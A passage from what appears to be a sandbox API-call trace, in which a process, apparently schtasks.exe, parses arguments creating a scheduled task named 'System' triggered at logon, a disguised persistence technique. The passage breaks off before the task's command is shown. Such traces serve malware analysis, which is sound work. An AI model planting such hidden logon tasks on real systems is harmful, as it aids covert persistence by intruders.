returned 0x409 [0128.389] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.389] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.389] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.389] lstrlenW (lpString="/create") returned 7 [0128.389] lstrlenW (lpString="-/") returned 2 [0128.389] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0128.389] lstrlenW (lpString="?") returned 1 [0128.389] lstrlenW (lpString="?") returned 1 [0128.389] GetProcessHeap () returned 0x10e05f40000 [0128.390] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x18) returned 0x10e05f44350 [0128.390] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.390] GetProcessHeap () returned 0x10e05f40000 [0128.390] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0xa) returned 0x10e05f44370 [0128.390] lstrlenW (lpString="create") returned 6 [0128.390] GetProcessHeap () returned 0x10e05f40000 [0128.390] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x18) returned 0x10e05f44390 [0128.390] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.390] GetProcessHeap () returned 0x10e05f40000 [0128.390] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x14) returned 0x10e05f443b0 [0128.390] _vsnwprintf (in: _Buffer=0x10e05f44370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|?|") returned 3 [0128.390] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|create|") returned 8 [0128.390] lstrlenW (lpString="|?|") returned 3 [0128.390] lstrlenW (lpString="|create|") returned 8 [0128.390] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.390] lstrlenW (lpString="create") returned 6 [0128.390] lstrlenW (lpString="create") returned 6 [0128.390] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.390] GetProcessHeap () returned 0x10e05f40000 [0128.390] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f44370) returned 1 [0128.390] GetProcessHeap () returned 0x10e05f40000 [0128.390] RtlReAllocateHeap (Heap=0x10e05f40000, Flags=0xc, Ptr=0x10e05f44370, Size=0x14) returned 0x10e05f446c0 [0128.390] lstrlenW (lpString="create") returned 6 [0128.390] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.390] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|create|") returned 8 [0128.390] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|create|") returned 8 [0128.390] lstrlenW (lpString="|create|") returned 8 [0128.390] lstrlenW (lpString="|create|") returned 8 [0128.391] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0128.391] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.391] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.391] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.391] lstrlenW (lpString="/tn") returned 3 [0128.391] lstrlenW (lpString="-/") returned 2 [0128.391] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0128.391] lstrlenW (lpString="?") returned 1 [0128.391] lstrlenW (lpString="?") returned 1 [0128.391] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.391] lstrlenW (lpString="tn") returned 2 [0128.391] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.391] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|?|") returned 3 [0128.391] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|tn|") returned 4 [0128.391] lstrlenW (lpString="|?|") returned 3 [0128.391] lstrlenW (lpString="|tn|") returned 4 [0128.391] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.391] lstrlenW (lpString="create") returned 6 [0128.391] lstrlenW (lpString="create") returned 6 [0128.391] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.391] lstrlenW (lpString="tn") returned 2 [0128.391] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.391] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|create|") returned 8 [0128.391] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|tn|") returned 4 [0128.391] lstrlenW (lpString="|create|") returned 8 [0128.392] lstrlenW (lpString="|tn|") returned 4 [0128.392] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0128.392] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.392] lstrlenW (lpString="delete") returned 6 [0128.392] lstrlenW (lpString="delete") returned 6 [0128.392] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.392] lstrlenW (lpString="tn") returned 2 [0128.392] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.392] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|delete|") returned 8 [0128.392] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|tn|") returned 4 [0128.392] lstrlenW (lpString="|delete|") returned 8 [0128.392] lstrlenW (lpString="|tn|") returned 4 [0128.392] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0128.392] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.392] lstrlenW (lpString="query") returned 5 [0128.392] lstrlenW (lpString="query") returned 5 [0128.392] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.392] lstrlenW (lpString="tn") returned 2 [0128.392] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.392] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|query|") returned 7 [0128.392] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|tn|") returned 4 [0128.392] lstrlenW (lpString="|query|") returned 7 [0128.393] lstrlenW (lpString="|tn|") returned 4 [0128.393] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0128.393] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.393] lstrlenW (lpString="change") returned 6 [0128.393] lstrlenW (lpString="change") returned 6 [0128.393] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.393] lstrlenW (lpString="tn") returned 2 [0128.393] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.393] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|change|") returned 8 [0128.393] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|tn|") returned 4 [0128.393] lstrlenW (lpString="|change|") returned 8 [0128.393] lstrlenW (lpString="|tn|") returned 4 [0128.393] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0128.393] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.393] lstrlenW (lpString="run") returned 3 [0128.393] lstrlenW (lpString="run") returned 3 [0128.393] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.393] lstrlenW (lpString="tn") returned 2 [0128.393] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.393] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|run|") returned 5 [0128.393] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|tn|") returned 4 [0128.393] lstrlenW (lpString="|run|") returned 5 [0128.393] lstrlenW (lpString="|tn|") returned 4 [0128.393] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0128.394] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.394] lstrlenW (lpString="end") returned 3 [0128.394] lstrlenW (lpString="end") returned 3 [0128.394] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.394] lstrlenW (lpString="tn") returned 2 [0128.394] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.394] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|end|") returned 5 [0128.394] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|tn|") returned 4 [0128.394] lstrlenW (lpString="|end|") returned 5 [0128.394] lstrlenW (lpString="|tn|") returned 4 [0128.394] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0128.394] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.394] lstrlenW (lpString="showsid") returned 7 [0128.394] lstrlenW (lpString="showsid") returned 7 [0128.394] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.394] GetProcessHeap () returned 0x10e05f40000 [0128.394] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f446c0) returned 1 [0128.394] GetProcessHeap () returned 0x10e05f40000 [0128.394] RtlReAllocateHeap (Heap=0x10e05f40000, Flags=0xc, Ptr=0x10e05f446c0, Size=0x16) returned 0x10e05f446c0 [0128.394] lstrlenW (lpString="tn") returned 2 [0128.394] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.394] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|showsid|") returned 9 [0128.394] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|tn|") returned 4 [0128.394] lstrlenW (lpString="|showsid|") returned 9 [0128.394] lstrlenW (lpString="|tn|") returned 4 [0128.394] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0128.394] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.395] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.395] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.395] lstrlenW (lpString="/tn") returned 3 [0128.395] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0128.395] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.395] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.395] lstrlenW (lpString="/tn") returned 3 [0128.395] GetProcessHeap () returned 0x10e05f40000 [0128.395] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x8) returned 0x10e05f44370 [0128.395] GetProcessHeap () returned 0x10e05f40000 [0128.395] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f4b920 [0128.395] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.395] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.395] lstrlenW (lpString="System") returned 6 [0128.395] lstrlenW (lpString="-/") returned 2 [0128.395] StrChrIW (lpStart="-/", wMatch=0x53) returned 0x0 [0128.395] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.395] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.395] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.395] lstrlenW (lpString="System") returned 6 [0128.395] StrChrIW (lpStart="System", wMatch=0x3a) returned 0x0 [0128.395] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.395] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.395] lstrlenW (lpString="System") returned 6 [0128.395] GetProcessHeap () returned 0x10e05f40000 [0128.395] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0xe) returned 0x10e05f446f0 [0128.395] GetProcessHeap () returned 0x10e05f40000 [0128.395] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f4b470 [0128.395] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.395] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.395] lstrlenW (lpString="/sc") returned 3 [0128.396] lstrlenW (lpString="-/") returned 2 [0128.396] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0128.396] lstrlenW (lpString="?") returned 1 [0128.396] lstrlenW (lpString="?") returned 1 [0128.396] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.396] lstrlenW (lpString="sc") returned 2 [0128.396] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.396] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|?|") returned 3 [0128.396] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|sc|") returned 4 [0128.396] lstrlenW (lpString="|?|") returned 3 [0128.396] lstrlenW (lpString="|sc|") returned 4 [0128.396] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.396] lstrlenW (lpString="create") returned 6 [0128.396] lstrlenW (lpString="create") returned 6 [0128.396] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.396] lstrlenW (lpString="sc") returned 2 [0128.396] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.396] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|create|") returned 8 [0128.396] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|sc|") returned 4 [0128.396] lstrlenW (lpString="|create|") returned 8 [0128.396] lstrlenW (lpString="|sc|") returned 4 [0128.396] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0128.396] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.396] lstrlenW (lpString="delete") returned 6 [0128.396] lstrlenW (lpString="delete") returned 6 [0128.396] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.396] lstrlenW (lpString="sc") returned 2 [0128.397] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.397] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|delete|") returned 8 [0128.397] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|sc|") returned 4 [0128.397] lstrlenW (lpString="|delete|") returned 8 [0128.397] lstrlenW (lpString="|sc|") returned 4 [0128.397] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0128.397] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.397] lstrlenW (lpString="query") returned 5 [0128.397] lstrlenW (lpString="query") returned 5 [0128.397] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.397] lstrlenW (lpString="sc") returned 2 [0128.397] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.397] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|query|") returned 7 [0128.397] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|sc|") returned 4 [0128.397] lstrlenW (lpString="|query|") returned 7 [0128.397] lstrlenW (lpString="|sc|") returned 4 [0128.397] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0128.397] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.397] lstrlenW (lpString="change") returned 6 [0128.397] lstrlenW (lpString="change") returned 6 [0128.397] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.397] lstrlenW (lpString="sc") returned 2 [0128.397] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.397] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|change|") returned 8 [0128.397] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|sc|") returned 4 [0128.397] lstrlenW (lpString="|change|") returned 8 [0128.398] lstrlenW (lpString="|sc|") returned 4 [0128.398] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0128.398] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.398] lstrlenW (lpString="run") returned 3 [0128.398] lstrlenW (lpString="run") returned 3 [0128.398] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.398] lstrlenW (lpString="sc") returned 2 [0128.398] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.398] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|run|") returned 5 [0128.398] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|sc|") returned 4 [0128.398] lstrlenW (lpString="|run|") returned 5 [0128.398] lstrlenW (lpString="|sc|") returned 4 [0128.398] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0128.398] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.398] lstrlenW (lpString="end") returned 3 [0128.398] lstrlenW (lpString="end") returned 3 [0128.398] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.398] lstrlenW (lpString="sc") returned 2 [0128.398] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.398] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|end|") returned 5 [0128.398] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|sc|") returned 4 [0128.398] lstrlenW (lpString="|end|") returned 5 [0128.398] lstrlenW (lpString="|sc|") returned 4 [0128.398] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0128.398] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.398] lstrlenW (lpString="showsid") returned 7 [0128.398] lstrlenW (lpString="showsid") returned 7 [0128.398] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.399] lstrlenW (lpString="sc") returned 2 [0128.399] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.399] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|showsid|") returned 9 [0128.399] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|sc|") returned 4 [0128.399] lstrlenW (lpString="|showsid|") returned 9 [0128.399] lstrlenW (lpString="|sc|") returned 4 [0128.399] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0128.399] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.399] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.399] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.399] lstrlenW (lpString="/sc") returned 3 [0128.399] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0128.399] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.399] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.399] lstrlenW (lpString="/sc") returned 3 [0128.399] GetProcessHeap () returned 0x10e05f40000 [0128.399] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x8) returned 0x10e05f44710 [0128.399] GetProcessHeap () returned 0x10e05f40000 [0128.399] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f4b5f0 [0128.399] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.399] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.399] lstrlenW (lpString="ONLOGON") returned 7 [0128.399] lstrlenW (lpString="-/") returned 2 [0128.399] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0128.399] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.399] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.399] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.399] lstrlenW (lpString="ONLOGON") returned 7 [0128.399] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0128.400] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.400] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.400] lstrlenW (lpString="ONLOGON") returned 7 [0128.400] GetProcessHeap () returned 0x10e05f40000 [0128.400] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x10) returned 0x10e05f44730 [0128.400] GetProcessHeap () returned 0x10e05f40000 [0128.400] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f4b950 [0128.400] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.400] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.400] lstrlenW (lpString="/tr") returned 3 [0128.400] lstrlenW (lpString="-/") returned 2 [0128.400] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0128.400] lstrlenW (lpString="?") returned 1 [0128.400] lstrlenW (lpString="?") returned 1 [0128.400] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.400] lstrlenW (lpString="tr") returned 2 [0128.400] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.400] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|?|") returned 3 [0128.400] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|tr|") returned 4 [0128.400] lstrlenW (lpString="|?|") returned 3 [0128.400] lstrlenW (lpString="|tr|") returned 4 [0128.400] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.400] lstrlenW (lpString="create") returned 6 [0128.400] lstrlenW (lpString="create") returned 6 [0128.400] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.400] lstrlenW (lpString="tr") returned 2 [0128.400] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.401] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|create|") returned 8 [0128.401] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|tr|") returned 4 [0128.401] lstrlenW (lpString="|create|") returned 8 [0128.401] lstrlenW (lpString="|tr|") returned 4 [0128.401] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0128.401] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.401] lstrlenW (lpString="delete") returned 6 [0128.401] lstrlenW (lpString="delete") returned 6 [0128.401] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.401] lstrlenW (lpString="tr") returned 2 [0128.401] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.401] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|delete|") returned 8 [0128.401] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|tr|") returned 4 [0128.401] lstrlenW (lpString="|delete|") returned 8 [0128.401] lstrlenW (lpString="|tr|") returned 4 [0128.401] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0128.401] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.401] lstrlenW (lpString="query") returned 5 [0128.401] lstrlenW (lpString="query") returned 5 [0128.401] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.401] lstrlenW (lpString="tr") returned 2 [0128.401] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.401] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|query|") returned 7 [0128.401] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|tr|") returned 4 [0128.401] lstrlenW (lpString="|query|") returned 7 [0128.401] lstrlenW (lpString="|tr|") returned 4 [0128.401] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0128.402] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.402] lstrlenW (lpString="change") returned 6 [0128.402] lstrlenW (lpString="change") returned 6 [0128.402] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.402] lstrlenW (lpString="tr") returned 2 [0128.402] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.402] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|change|") returned 8 [0128.402] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|tr|") returned 4 [0128.402] lstrlenW (lpString="|change|") returned 8 [0128.402] lstrlenW (lpString="|tr|") returned 4 [0128.402] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0128.402] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.402] lstrlenW (lpString="run") returned 3 [0128.402] lstrlenW (lpString="run") returned 3 [0128.402] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.402] lstrlenW (lpString="tr") returned 2 [0128.402] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.402] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|run|") returned 5 [0128.402] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|tr|") returned 4 [0128.402] lstrlenW (lpString="|run|") returned 5 [0128.402] lstrlenW (lpString="|tr|") returned 4 [0128.402] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 